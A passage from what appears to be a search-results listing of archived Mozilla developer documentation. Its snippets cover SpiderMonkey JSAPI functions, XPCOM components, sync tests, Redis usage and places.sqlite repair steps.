...rkedlocation(size_t len, const js::value *elements); js::handlevaluearray::subarray(const js::handlevaluearray& values, size_t startindex, size_t len); js::handlevaluearray::empty(); name type description value js::rootedvalue & an element of
newly created 1-length array. values js::autovaluevector & elements of
newly created array. values js::autovaluearray & elements of
newly created array. args js::callargs & elements of
newly created array. len size_t (frommarkedlocation only) length of elements array or (subarray only) length of sub array of values. elements js::value * (frommarkedlocation only) a pointer to the first element of an ...
JS::SetLargeAllocationFailureCallback
data void * data parameter which will be passed to js::largeallocationfailurecallback. ...
...location failure. syntax void js::setlargeallocationfailurecallback(jsruntime *rt, js::largeallocationfailurecallback afc, void *data); name type description rt jsruntime * the jsruntime for which to set the gc callback. cb js::largeallocationfailurecallback pointer to the
new callback function to use. data void * data parameter which will be passed to js::largeallocationfailurecallback. added in spidermonkey 38 callback syntax typedef void (* js::largeallocationfailurecallback)(void *data); name type description data void * data parameter passed to js::setlargeallocationfailurecallback. added in spidermonkey 38 ...
JS::SetOutOfMemoryCallback
data void * data parameter which will be passed to js::outofmemorycallback. ...
... data void * data parameter which will be passed to js::outofmemorycallback. ...
JSClass.call
oks are called when a custom object is used like a function. these hooks are of type jsnative. note that when a custom object is called, a this argument is calculated for it just as if it were a function. that is, the obj argument received by the jsnative is the this argument, not the custom object that was called! // suppose this object has jsclass.call and jsclass.construct hooks. ...
...om object is called, a this argument is calculated for it just as if it were a function. that is, the obj argument received by the jsnative is the this argument, not the custom object that was called! // suppose this object has jsclass.call and jsclass.construct hooks. var custom =
new specialcustomobject(); custom(); // the jsclass.call hook receives the global object as the obj parameter.
new custom(); // the jsclass.construct hook receives the global object as the obj parameter. var x = { specialmethod: custom }; x.specialmethod(); // the jsclass.call hook receives x as the obj parameter.
new x.specialmethod(); // the jsclass.construct hook receives x as the obj parameter. the custom object that was called is jsval_to_object(js_argv_callee(argv)). see also jsclass jsnat...
JSFunction
for native functions and jsapi-compiled functions - that is, functions returned by the apis listed above-there is a simple one-to-one relationship between the jsfunction and the corresponding javascript function object. to get a jsfunction * given the jsobject * of a function object, use js_valuetofunction. to get the jsobject * given the jsfunction *, use js_getfunctionobject. ...
...) that operate on jsfunctions do not work properly with closures. the documentation for each affected api contains a warning about the problem. if the application can't be sure that a given function jsobject is either native or jsapi-compiled, it must not use the affected apis. instead of using js_callfunction, for example, it must call js_callfunctionvalue. function objects created by calling js_
newfunction have two reserved slots for the application's use. see js_
newfunction for details. see also mxr id search for jsfunction ...
JSPrincipals
is not defined by the js engine but should be provided by the embedding. added in spidermonkey 17 description jsprincipals is the abstract base class of all principals objects, the objects that identify the source of a function or script and are used to determine its privileges. a principals object is like a java codesource. jsprincipals could be passed into the js engine through the js_
newglobalobject function. jsprincipals has refcount property that is the reference count. this is used for memory management. each time an object is referenced, refcount must be increased by one. each time an object is dereferenced, refcount must be decremented by one. when refcount reaches zero, the principals are no longer in use and are destroyed. use the js_holdprincipals to increment refcount, ...
... memory management. each time an object is referenced, refcount must be increased by one. each time an object is dereferenced, refcount must be decremented by one. when refcount reaches zero, the principals are no longer in use and are destroyed. ...
JSReserveSlotsOp
ript 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsreserveslotsop is the type of the jsclass.reserveslots. syntax typedef uint32 (* jsreserveslotsop)(jscontext *cx, jsobject *obj); name type description cx jscontext * the js context in which the
new object is being created. obj jsobject * the
new object. description warning: jsapi applications should not use this hook. a class cannot freely use a reserveslots hook to reserve a different number of slots for each object. rather, within a jsruntime, every call to the same reserveslots hook must return the same value (excepting a few internal classes such as function, cal...
...ot use this hook. a class cannot freely use a reserveslots hook to reserve a different number of slots for each object. rather, within a jsruntime, every call to the same reserveslots hook must return the same value (excepting a few internal classes such as function, call, and block). jsclass hooks jsclass offers the following hook: the jsclass.reserveslots callback is called each time a
new object is created. the optional jsclass.reserveslots hook allows a class to make computed per-instance object slots reservations, in addition to or instead of using jsclass_has_reserved_slots(n) in the jsclass.flags initializer to reserve a constant-per-class number of slots. implementations of this hook should return the number of slots to reserve, not including any reserved by using jsclass_...
JSResolveOp
set *resolvedp to true and return true if the property is resolved, or set *resolvedp to false and return true if the object has no lazy property with the given id; or return false to indicate any other error. obsolete since jsapi 36 the callback must return true if the property is resolved, or if the object has no lazy property with the given id; or false to indicate any other error. note: js
newresolveop provides a cheaper way to resolve lazy properties. jsclass hooks jsclass offers the following hook: jsclass.resolve callback is called when a property is not found on an object. it can be used to implement lazy properties. js looks for a property in an object, and if not found, tries to resolve the given id. after calling resolve, the engine looks again to see if resolve defin...
...perty is not found on an object. ...
JSRuntime
ixed association between an object and the context in which it is created. ...
... and the context in which it is created. ...
JS_AddFinalizeCallback
y 38 (jsapi 32) void js_removefinalizecallback(jsruntime *rt, jsfinalizecallback cb); // added in spidermonkey 38 (jsapi 32) void js_setfinalizecallback(jsruntime *rt, jsfinalizecallback cb); // obsolete since jsapi 32 name type description rt jsruntime * the jsruntime for which to set the finalization callback. cb jsfinalizecallback pointer to the
new callback function to use. data void * passed to data parameter for jsfinalizecallback. callback syntax typedef enum jsfinalizestatus { jsfinalize_group_start, jsfinalize_group_end, jsfinalize_collection_end } jsfinalizestatus; typedef void (* jsfinalizecallback)(jsfreeop *fop, jsfinalizestatus status, bool iscompartment, void *data); name type ...
...ing has been swept. description js_addfinalizecallback add a callback function which the garbage collector calls at several points during garbage collection. rt is the runtime in which you specify the callback. cb is a pointer to the callback function to add. js_removefinalizecallback removes the previously added callback function. obsolete since jsapi 32 js_setfinalizecallback sets a
new callback function. it was replaced with js_addfinalizecallback, to allow adding multiple callback functions. see also mxr id search for js_addfinalizecallback mxr id search for js_removefinalizecallback mxr id search for jsfinalizestatus mxr id search for jsfinalize_group_start mxr id search for jsfinalize_group_end mxr id search for jsfinalize_collection_end mxr id search for jsfinali...
JS_Add*Root
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. vp jsval * (in js_addvalueroot and js_addnamedvalueroot) the address of the jsval variable to root spp jsstring ** (in js_addstringroot and js_addnamedstringroot) the address of the jsstring* variable to root opp jsobject ** (in js_addobjectroot and js_...
... description the js_add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as starting points each time the collector checks to see what memory is reachable. the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collecte...
JS_ClearDateCaches
cx jscontext * pointer to a javascript context from which to derive runtime information. ...
...ntext * pointer to a javascript context from which to derive runtime information. requires request. ...
JS_ClearRegExpStatics
st. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...fe build, the caller must be in a request on this jscontext. ...
JS_CompileScriptForPrincipals
included in error messages if an error occurs during compilation. similarly, lineno is used to report the line number of the script or file where an error occurred during compilation. on success, js_compilescriptforprincipals and js_compileucscriptforprincipals return a pointer to the compiled script. on error or exception, they return null. ...
...e line number of the script or file where an error occurred during compilation. on success, js_compilescriptforprincipals and js_compileucscriptforprincipals return a pointer to the compiled script. on error or exception, they return null. the application is responsible for ensuring that the
new compiled script is cleaned up later—either by calling js_destroyscript() directly or by calling js_
newscriptobject(), in which case the garbage collector cleans up the script. warning: this api is subject to bug 438633, which can cause crashes in almost any program that uses js_destroyscript(). the workaround is to use js_
newscriptobject() to root each
newly-compiled script, as described in the jsapi user guide under compiled scripts. see also mxr id search for js_compilescriptforprincipals...
JS_CompileUTF8FileHandle
name const char * filename to associate with the compiled script. this filename is used for error messages. it should be the name of the file that contains the script, if available. file file * the file handle containing the script to compile. principals jsprincipals * (only in js_compileutf8filehandleforprincipals) the security principals to associate with the
new script, or null. description js_compileutf8filehandle reads a script from a stdio file handle and compiles the script for execution by the javascript engine. js_compileutf8filehandleforprincipals is a version of the function for use with spidermonkey's security features. filename is the name of the file containing the script to compile. file is the file handle. js_compileutf8filehandle d...
...ript for execution by the javascript engine. js_compileutf8filehandleforprincipals is a version of the function for use with spidermonkey's security features. filename is the name of the file containing the script to compile. file is the file handle. js_compileutf8filehandle does not close the file handle. if principals is non-null, it points to a jsprincipals object that is associated with the
new script and any functions it creates. on success, js_compileutf8filehandle reads file to eof and returns an object representing the
newly compiled script. if an error occurs during compilation, js_compileutf8filehandle stops reading from the file and returns null. js_compileutf8filehandle and js_compileutf8filehandleforprincipals are deprecated, use file, use js::compile instead. see also th...
JS_DestroyRuntime
vascript runtime. ...
... name type description rt jsruntime * the runtime to destroy. ...
JS_EnterLocalRootScope
threadsafe build, the caller must be in a request on this jscontext. description scoped local root management allows native functions, getter/setters, etc. to avoid calling js_addroot and js_removeroot to manage global roots temporarily. js_addroot roots a variable, ensuring that whatever the variable points to at any given moment is protected from gc. by contrast, local root scopes protect
newly-created objects, doubles, and strings. there is no need to tell the js engine about each variable that may point to such a value. calling js_enterlocalrootscope and js_leavelocalrootscope around the body of the native hook protects each object, double, and string created using the same jscontext from gc. for example: jsbool my_getproperty(jscontext *cx, jsobject *obj, jsval id, jsval *vp) { ...
... calling js_enterlocalrootscope and js_leavelocalrootscope around the body of the native hook protects each object, double, and string created using the same jscontext from gc. for example: jsbool my_getproperty(jscontext *cx, jsobject *obj, jsval id, jsval *vp) { jsbool ok; if (!js_enterlocalrootscope(cx)) return js_false; // this function doesn't need to bother rooting any
new objects, // strings, or doubles it creates using cx. even if js_gc is // called, these
new values will not be collected. ok = my_getpropertybody(cx, obj, id, vp); // when we leave the local root scope, this protection ends.
new // items created in this local root scope become subject to gc. js_leavelocalrootscope(cx); return ok; } note: js_leavelocalrootscope or js_...
JS_GetExternalStringClosure
obsolete since jsapi 13this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 6 returns the string closure stored in a jsstring created by calling js_
newexternalstringwithclosure. syntax void * js_getexternalstringclosure(jscontext *cx, jsstring *str); name type description cx jscontext * the context from which to retrieve the closure for a string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str jsstring * the string for which to return the closure. the result is null if the external string was created without one (that is, by calli...
...ring *str); name type description cx jscontext * the context from which to retrieve the closure for a string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str jsstring * the string for which to return the closure. the result is null if the external string was created without one (that is, by calling js_
newexternalstring rather than js_
newexternalstringwithclosure). description to determine if a string was created as an external string, you can call js_isexternalstring. see also bug 724810 ...
JS_GetRuntime
retrieves a pointer to the jsruntime. ...
...ion cx jscontext * the context to query. ...
JS_IsConstructing
tive. description js_isconstructing must be called only from a jsnative called from the engine. cx and vp must be the arguments that the engine passed to that jsnative. ...
...as a constructor, either from javascript, using the
new keyword, or from c/c++ using a jsapi function such as js_constructobject. otherwise it returns js_false. ordinary non-constructor jsnatives have no need to call this; it always returns js_false for such functions. many constructors do not need to call it either. in the common case where a constructor should have the same behavior (creating a
new object) whether it is called with the
new keyword or not, it does not need to call js_isconstructing. mxr id search for js_isconstructing bug 918462 ...
JS_IsExternalString
syntax bool js_isexternalstring(jsstring *str); name type description str jsstring * the string to check. ...
... syntax bool js_isexternalstring(jsstring *str); name type description str jsstring * the string to check. ...
JS_ObjectIsDate
caller must be in a request on this jscontext. ...
... a request on this jscontext. ...
JS_SetContextCallback
my call js_getcontextprivate(cx) in order to free up resources previously allocated by js_setcontextprivate. contextop unsigned see jscontextop. for future compatibility the callback must do nothing and return true if any other value is passed. data void * data specified in js_setcontextcallback. added in spidermonkey 31 typedef enum jscontextop { jscontext_
new, jscontext_destroy } jscontextop; enumeration meaning jscontext_
new js_
newcontext successfully created a
new jscontext instance. the callback can initialize the instance as required. if the callback returns js_false, the instance will be destroyed and js_
newcontext returns null. in this case the callback is not called again. jscontext_destroy one of js_des...
... the callback returns false, the js engine will halt with an assertion. ...
JS_SetGCCallback
specify a
new callback function for the garbage collector. syntax void js_setgccallback(jsruntime *rt, jsgccallback cb, void *data); jsgccallback js_setgccallback(jscontext *cx, jsgccallback cb); // obsolete since jsapi 13 jsgccallback js_setgccallbackrt(jsruntime *rt, jsgccallback cb); // obsolete since jsapi 13 name type description cx jscontext * (for the old js_setgccallback) any jscontext. the gc callback of the associated jsruntime is set. rt jsruntime * the jsruntime for which to set the gc callback. cb jsgccallback pointer to the
new callback function to use. callback syntax typedef enum jsgcstatus { jsgc_begin, jsgc_end, jsgc_mark_end, // obsolete since jsapi 13 jsgc_finalize_end // ...
...x jscontext * the context in which garbage collection is happening. status jsgcstatus one of the jsgcstatus constants, described below, indicating the stage of gc. description js_setgccallback sets a callback function which the garbage collector calls at several points during garbage collection. rt is the runtime in which you specify the callback. cb is a pointer to the
new callback function to use. callback related to finalization is separated to js_setfinalizecallback in jsapi 13. obsolete since jsapi 13 js_setgccallback returns a pointer to the previously used callback function upon completion. the application may store this return value in order to restore the original callback when the
new callback is no longer needed. to restore the original callback, call ...
JS_SetRegExpInput
ing. multiline bool true if input is multiline. ...
...ine bool true if input is multiline. ...
JS_updateMallocCounter
inter to a js context to decrement the malloc counter. nbytes size_t number of bytes to decrement from malloc counter. description js_updatemalloccounter decrements malloc counter of gc and the zone of the context. ...
...ements malloc counter of gc and the zone of the context. malloc counter measures memory pressure for gc scheduling. it runs from maxmallocbytes down to zero. ...
JSDBGAPI
see profiling javascript with shark. js_connectshark ...
...see profiling javascript with shark. ...
TPS Tests
sync server, making bookmark modifications, etc. a test file may contain an arbitrary number of sections, each involving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a common set of data (from a single sync account) over a series of different events and clients. set up an environment and run a test to run tps, you should create a
new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you. even if you opt not to use restmail, do not use your personal firefox account, as tps will delete and replace the data in it many times, not to mention the first run is very likely to fail, since it expects a clean start). ...
...can also write your own functions to be called as actions. for example, consider the first action in the phase above: [bookmarks.add, bookmarks_initial] you could rewrite this as a custom function so as to add some custom logging: [async () => { logger.loginfo("adding bookmarks_initial"); await bookmarks.add(bookmarks_initial); }] note that this is probably best used for debugging, and
new tests that want custom behavior should add it to the tps addon so that other tests can use it. example test here's an example tps test to tie it all together. // phase declarations var phases = { "phase1": "profile1", "phase2": "profile2", "phase3": "profile1" }; // asset list // the initial list of bookmarks to be added to the browser var bookmarks_initial = { ...
WebReplayRoadmap
ols that are based on web replay, along with their ui. the low level, yet flexible architecture (described here) provides an extremely powerful platform for implementing debugging and analysis features. we would like to use web replay to radically improve not just the debugging experience but the entire web development experience. to that end, this document will be revised over time as we find
new and better ways of helping developers. time travel features more features are planned for the timeline, as described below. retroactive console logging console logging is one of the primary tools most developers use to debug a page. seeing messages in the console provides a simple and intuitive view into the order in which events have happened. without time travel, using the console require...
... console with messages for every time the location has ever been hit. this requires scanning the recording and the console will not update immediately. these messages will show up on the timeline and can be seeked to in the same way as other console messages. dom/css integration (partially implemented) when paused, the inspector panel can be used to inspect the dom and css state of the page.
new features are possible with time travel, though, which would be nice to support: supporting the debugger's event breakpoints would allow searching the recording for places where particular dom events occur, and -- in the same manner as logpoints -- logging them to the console and allowing them to be seeked to later. similarly, when the debugger supports dom mutation breakpoints (bug 1547692), ...
Mozilla Projects
alization and application logic. leak monitor leak monitor is a firefox extension by l. david baron that helps extension and chrome developers to find memory leaks. it will pop-up an alert when a window is closed and javascript still links to that window (for example, an observer that is not cleared when the window closes). mail
news mail
news stands for "mail and
newsgroups". mail
news is the back end of the messaging parts of seamonkey and thunderbird. it provides a number of functions and capabilities, including: mccoy mccoy uses xulrunner which is bound to break, for details see this post. mozilla calls mccoy a "simple system" wh...
...on web replay, along with their ui. the low level, yet flexible architecture (described here) provides an extremely powerful platform for implementing debugging and analysis features. we would like to use web replay to radically improve not just the debugging experience but the entire web development experience. to that end, this document will be revised over time as we find
new and better ways of helping developers. zest zest is an experimental specialized scripting language (also known as a domain-specific language) developed by the mozilla security team and is intended to be used in web oriented security tools. the language is written in json, but we do not expect people to write zest in this format - it...
Redis Tips
ications in multiple languages it's good stuff. heartbeats and time-based event logs it's a common pattern to use numerical timestamps for ranking members in a zset. i'll show this in the node console, to illustrate how the optional parameters are done. > var r = require('redis').createclient(); // and i'll define these utility functions just for this example > function now() { return (
new date()).gettime() / 1000 } > function print(err, results) { console.log(json.stringify(results, null, 2)) } whenever someone logs into my site, i record them in my 'last-login' zset. i'll simulate some logins like so: > r.zadd('last-login', now(), 'lloyd'); > r.zadd('last-login', now(), 'jparsons'); > r.zadd('last-login', now(), 'zarter'); > r.zadd('last-login', now(), 'lloyd'); // he logged...
...re for. even if i have a private redis db for this app, this is descriptively useful and adds a measure of safety. if i ever have more values to store per email than just the password, i could use a hash, with a key like ptu:identity:<email>. in the case where you want to do something akin to a join, like, say, associate an email and a remote url to store a browserid assertion, just make a
new key. in this case, it might be: ptu:assertion:email:<email>:origin:<domain> and since assertions time out, i would do a setex or expireat on that key when i created it. you can rename keys with rename recommended reading http://oldblog.antirez.com/post/redis-persistence-demystified.html/ ...
Gecko object attributes
s module for more information. additional information may be provide by the object attributes atomic and relevant. applied to: any role exposed in aria: aria-live relevant space delimited string with keywords describing what kinds of changes in the subtree are informational, as opposed to presentational. if not specified, the default should be considered "additions text", which indicates that
newly created objects and changes to text and text equivalents should be considered relevant, and that the hiding or removal of items is not. please see the aria states and properties module for more information. exposed in aria: aria-relevant container-atomic is this change inside a region that should always be presented at once. if yes, member-of relation will point to the root of the region. se...
...etermines that it is a table that is probably used for layout, not for table. value not set means it is probably a data table. applied to: role_table table-cell-index the index of the table cell accessible. use nsiaccessibletable and nsiaccessibletablecell instead. applied to role_cell hypertext attributes formatting "block" if the object uses block formatting, and thus starts on a
new line and ends with a hard line break that is not visible in the actual text. for example, a heading, paragraph, or list item is typically formatted as a block, but there is no requirement to do so. their formatting may have been changed with css. an example of this is often horizontal navigation bars with list items that are formatted with css display: inline. applied to: any object that support...
AT APIs Support
and feel across all supported platforms, and to allow for different skins (appearances). developing a xul window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets. examples of xul applications: firefox - web-browser thunderbird - email client seamonkey - web-browser, advanced e-mail and
newsgroup client, irc chat client, and html editing made simple sunbird - cross-platform calendar application kompozer - a complete web authoring system for linux desktop, microsoft windows and macintosh users to rival programs like frontpage and dreamweaver. open komodo - platform for building developer environments miro - a free, open source internet tv and video player any xulrunner applicati...
...n inside the user interface of any software package that supports it. if you seriously need to understand msaa, you'll need to read the docs on msdn and play with the sample apps and code that come with msaa sdk 1.3. (i recommend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools. the other differences are not important). iaccessible2 (ia2) iaccessible2 is a
new accessibility api which complements microsoft's earlier work on msaa. this api fills critical accessibility api gaps in the msaa offering. assistive technology service provider interface (at-spi) an api devised by sun microsystems so that accessibility aids can track what's going on inside the user interface of any software package that supports it. if you seriously need to understand at-spi, y...
Mork
viewed as a set of rows, collections of name-value pairs, which can be organized into various tables. rows need not be in a table, nor need they be in only one table. values are merely an opaque sequence of bytes, so their actual content is dependent on the mork consumer. except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a
newline), and comments (c++ or c style) can be ignored. in practice, only c++-style comments, and the standard whitespace characters ('\t', ' ', '\r', '\n') appear to be used. the grammar for mork is as follows: file = header ( dictionary | table | group | row )* header = '// <!-- <mdb:mork:z v="1.4"/> -->' dictionary = '<' ( metadictionary | alias )* '>' table = '{' '-'? mid ( metatable | row | '-'...
...of the id, in that 1:scope1 is not the same row as 1:scope2. if the scope is not specified, then it is the default scope of the table (if it has one) or 'r' otherwise. these row ids are global, even if defined in a table. indeed, defining a row in a table is a shortcut for both defining a row and adding the row to the table. the presence of an initial minus means to delete all cells before adding
new cells. a minus after the mid indicates that the next cell should be deleted. i haven't seen that case though, so it may not be an issue in practice. the rowreference is a mid that refers to a specific row. if it occurs in a table, you can treat it as adding that row to a table; in a meta-table, it is the same as making that row the meta-row of the table. groups, a.k.a. changesets a group is theor...
places.sqlite Database Troubleshooting
ork folder. open a terminal window and navigate to the work folder. then open an sqlite shell: my_work_folder> sqlite3 places.sqlite-corrupt sqlite> pragma integrity_check; if the result is ok, this guide won't help; stop here and please file a bug. sqlite> .clone places.sqlite sqlite> pragma user_version; note the version number returned by the last pragma query. sqlite> .exit open a
new shell for the
new database: my_work_folder> sqlite3 places.sqlite sqlite> pragma integrity_check; if the result is not ok, the file cannot be recovered; stop here and please file a bug. let's fix the schema version. nn must be replaced with the number we had noted previously: sqlite> pragma user_version = nn; let's update the page_size value: sqlite> pragma journal_mode = truncate; sqli...
... the result is not ok, the file cannot be recovered; stop here and please file a bug. let's fix the schema version. nn must be replaced with the number we had noted previously: sqlite> pragma user_version = nn; let's update the page_size value: sqlite> pragma journal_mode = truncate; sqlite> pragma page_size = 32768; sqlite> vacuum; sqlite> pragma journal_mode = wal; sqlite> .exit copy the
new places.sqlite to the profile folder, overwriting the existing one. remove the places.sqlite-corrupt file. launch firefox. if the database is still broken (missing history, creating -corrupt file, ...), please file a bug. ...
Places
places stores its data in an sqlite database using the mozstorage interfaces. ...
... places stores its data in an sqlite database using the mozstorage interfaces. ...
Binary compatibility
effectively, it is a different platform. what does this mean to you? if you build a component and it works fine in version 1.0 of mozilla. if and when mozilla upgrades the compiler they use, your component will have to be rebuilt against the same compiler. ...
...ey use, your component will have to be rebuilt against the same compiler. when you see a @status frozen, note that this means it should work as long as the component and xpcom are built with the same compiler abi. for more information on issues of componentization and binary compatibility, see http://mozilla.org/projects/xpcom/gl...ent_reuse.html . comments and questions should be directed to the
newsgroup, mozilla.dev.tech.xpcom, or the mailing list, mozilla-xpcom@mozilla.org. ...
Packaging WebLock
ation about applications, skins, and other extensions that have been installed in a gecko application. since mozilla and other gecko-based applications are cross-platform, this database is abstracted above the operating system or any particular platform's registry. the chrome registry lives in a series of rdf/xml files in the application directory of mozilla and other gecko-based browsers, where
new installs, user configurable data, skins, and other information are related to one another and the application itself. javascript apis from the xpinstall install object download the jar in which the installable files appear and call registration methods that tell mozilla about the
new component and the ui it uses to access the weblock component. weblock installation script is the completetrigger...
... addfile("weblock.dll", 1.0, "weblock.dll", componentsdir, ""); // add the typelib also addfile("weblock.xpt", "1.0", "weblock.xpt", componentsdir, ""); // add the weblock subdirectory of the xpi and specify that // it be installed in the chrome application directory err = adddirectory("weblock", "1.0", "", chromedir, ""); // ? have to register component here or with regxpcom? ...
Using XPCOM Components
ill be achieved. so we'll put aside the details of the implementation until the next chapter and look at the component from the outside-at the interface to the weblock component. the iweblock interface lock lock the browser to the current site (or to the whitelist of approved sites read from disk). unlock unlock the browser for unrestricted use. addsite add a
new site to the whitelist. removesite remove a given site from the whitelist. sites enumerator for the list of approved sites read in from the whitelist. the weblock component is software that implements all of these methods in the way described by the interface definition. it registers itself for use when the browser starts up, and provides a factory that creates an in...
...r.remove, which maps to the remove() function in the nsicookiemanager interface), note the special xpconnect objects and methods that reflect the xpcom component into javascript. components is the javascript object that controls the connection to components, and classes is an array of all of the classes you can ask for by contract id. ...
How to build a binary XPCOM component using Visual Studio
ilt sdk at gecko-sdk-win32-msvc-1.8.0.4.zip. extract the sdk to a folder. the tutorial assumes the folder is called xulrunner-1.8.0.4, but you can call yours whatever you want. you also need a couple of pre-built libraries (glib-1.2.dll & libidl-0.6.dll) from the wintools.zip archive. copy glib-1.2.dll & libidl-0.6.dll into the bin subfolder of gecko-sdk. note: wintools.zip seems old and lots of
newer mdc documentation refers to moztools.zip archive, but the version of xpidl.exe that comes with the gecko-sdk crashes with the dll’s from moztools. recap: use the right gecko sdk for your xulrunner release use a microsoft compiler use pre-built glib-1.2.dll & libidl-0.6.dll libraries from wintools.zip download the sample project here is what the folder structure looks like: create a v...
...use in javascript: function doxpcom() { try { const cid = "@starkravingfinkle.org/specialthing;1"; var obj = components.classes[cid].createinstance(); obj = obj.queryinterface(components.interfaces.ispecialthing); } catch (err) { alert(err); return; } var res = obj.add(3, 4); alert('3+4 = ' + res); var name = obj.name; alert('name = ' + name); obj.name = '
new name'; name = obj.name; alert('name = ' + name); } other resources creating xpcom components - mozilla how to build an xpcom component in javascript - mozilla an introduction to xpcom - ibm xpcom project page - mozilla ...
Components.utils.evalInWindow
if the returned object contains a function, calls to evalinwindow() will throw an error: // page-script.js function ...
...if the returned object contains a function, calls to evalinwindow() will throw an error: // page-script.js function bar() { } var somelocalvariablecontainingafunction = {name: "selection1", foo : bar}; /...
Components.utils.exportFunction
ns. the following options are currently defined: defineas: determines the name of the function in targetscope. if this is omitted, you need to assign the return value of exportfunction() to an object in the target scope. allowcallbacks: deprecated/redundant from firefox 34. this option allows the exported function to accept callbacks as arguments. boolean, defaulting to false. this option is
new in firefox 33. from firefox 34 onwards this option has no effect: the exported function is always able to accept callbacks as arguments. allowcrossoriginarguments: do not check that arguments to the exported function are subsumed by the caller: this allows the caller to pass objects with a different origin into the exported function, which can then use its privileged status to make cross-origin ...
...: the exported function is always able to accept callbacks as arguments. allowcrossoriginarguments: do not check that arguments to the exported function are subsumed by the caller: this allows the caller to pass objects with a different origin into the exported function, which can then use its privileged status to make cross-origin requests with them. boolean, defaulting to false. this option is
new in firefox 34. returns the placeholder function which has been created in the target context. exporting functions that take arguments until firefox 34, any arguments that the function takes are structured-cloned across the security boundary unless they are native objects such as dom nodes. because structured cloning does not clone functions, this meant that the function may not return a func...
Components.utils.unload
if the javascript code module has not yet been imported then this method will do nothing. ...
...if the javascript code module has not yet been imported then this method will do nothing. ...
XPCShell Reference
d, it should equate to a valid filename. load(scriptfilename) load() allows you to load and run a script from the command line. for example, load("myscript.js") will execute the script myscript.js in the current directory. print(obj1, obj2, …) print() is useful to print something to the screen. ...
...e) load() allows you to load and run a script from the command line. for example, load("myscript.js") will execute the script myscript.js in the current directory. print(obj1, obj2, …) print() is useful to print something to the screen. it dumps whatever is passed to the screen, putting spaces between arguments and appending a
newline at the end. an example print(1, 2, 3) will print 1 2 3<
newline>. dump(object) dump() is almost like print. it only handles one parameter and it doesn't append a
newline. dumpxpc(depth) this function dumps the xpconnect object. see the documentation on debugdump() for the nsixpconnect interface for more information. version(
newversion) version() returns the javascript engine version number. if you pass a number to it, it will set the versio...
Realloc
« xpcom api reference summary the realloc function reallocates a block of memory to a
new size. static void* realloc( void* aptr, size_t asize ); parameters aptr [in] the address of the memory block to reallocate. this may be nsnull, in which case realloc behaves like nsmemory::alloc. asize [in] specifies the
new size in bytes of the block of memory to allocate. this may be 0, in which case realloc behaves like nsmemory::free. return values this function returns nsnull if the memory allocation fails. otherwise, it returns a pointer to the
newly allocated buffer. the result must be freed with a call to nsmemory::free when it is no longer needed. ...
...y to allocate. this may be 0, in which case realloc behaves like nsmemory::free. return values this function returns nsnull if the memory allocation fails. otherwise, it returns a pointer to the
newly allocated buffer. the result must be freed with a call to nsmemory::free when it is no longer needed. remarks if aptr is non-null, then its contents will be unchanged to the minimum of the old and
new sizes.
newly allocated memory is uninitialized. see also nsmemory::free ...
imgIDecoderObserver
n nsintrect arect ); parameters arequest the request on which data is available, or null if being called for an imgidecoder object. acurrentframe missing description arect missing description ondiscard() called when the decoded image data is discarded. this means that the frames no longer exist in decoded form, and any attempt to access or draw the image will initiate a
new series of progressive decode notifications. void ondiscard( in imgirequest arequest ); parameters arequest the request on which data is available, or null if being called for an imgidecoder object. onimageisanimated() notification for when an image is known to be animated. this should be fired at the earliest possible time. void onimageisanimated( in imgirequest arequest ); parame...
..., and the only decoding errors that consumers care about (indeed, the only ones that they're prepared to hear about) are failures to instantiate the decoder (<img src="foo.html"> for example). thus, currently this is just a companion to onstoprequest to signal success or failure. you probably want onstopcontainer instead. this will be revisited in bug 505385. if you're thinking of doing something
new with this, please talk to bholley first. void onstopdecode( in imgirequest arequest, in nsresult status, in wstring statusarg ); parameters arequest the request on which data is available, or null if being called for an imgidecoder object. status missing description statusarg missing description onstopframe() a decode notification that is called when a frame is fi...
imgIRequest
te set, the imgirequest will be validated for cross-origin usage with cors, and, if successful, will have its cors mode set to the relevant type. cors_anonymous 2 cors_use_credentials 3 methods cancelandforgetobserver() cancels this request as in nsirequest.cancel(); further, also nulls out decoderobserver so it gets no further notifications from us. note: you should not use this in any
new code; instead, use cancel(). note that cancel() is asynchronous, which means that some time after you call it, the listener/observer will get an onstoprequest(). this means that, if you're the observer, you can not call cancel() from your destructor. void cancelandforgetobserver( in nsresult astatus ); parameters astatus clone() clone this request; the returned request will have aobserver a...
...notifications that have already been dispatched for this image load. imgirequest clone( in imgidecoderobserver aobserver ); parameters aobserver return value decrementanimationconsumers() tell the image it can forget about a request that the image animate. void decrementanimationconsumers(); parameters none. getstaticrequest() if this request is for an animated image, the method creates a
new request which contains the current frame of the image. otherwise returns the same request. imgirequest getstaticrequest(); parameters none. return value incrementanimationconsumers() requests that the image animate (if it has an animation). void incrementanimationconsumers(); parameters none. lockimage() locks an image. if the image does not exist yet, locks it once it becomes available. the l...
mozIStorageBindingParamsArray
ams objects, and is used to store sets of bound parameters that will be used by the mozistoragestatement.executeasync(). storage/public/mozistoragebindingparamsarray.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.
newbindingparamsarray(). method overview void addparams(in mozistoragebindingparams aparameters); mozistoragebindingparams
newbindingparams(); attributes attribute type description length unsigned long the number of mozistoragebindingparams objects in the array. methods addparams() adds the specified set of parameters to the end of ...
...oragebindingparams objects in the array. methods addparams() adds the specified set of parameters to the end of the array. the appended parameters will be used when mozistoragestatement.executeasync() is called. void addparams( in mozistoragebindingparams aparameters ); parameters aparameters the mozistoragebindingparams object containing the parameters to append to the array.
newbindingparams() creates and returns a
new, empty, mozistoragebindingparams object to which you can add parameters and their values for binding. mozistoragebindingparams
newbindingparams(); parameters none. ...
mozIStorageFunction
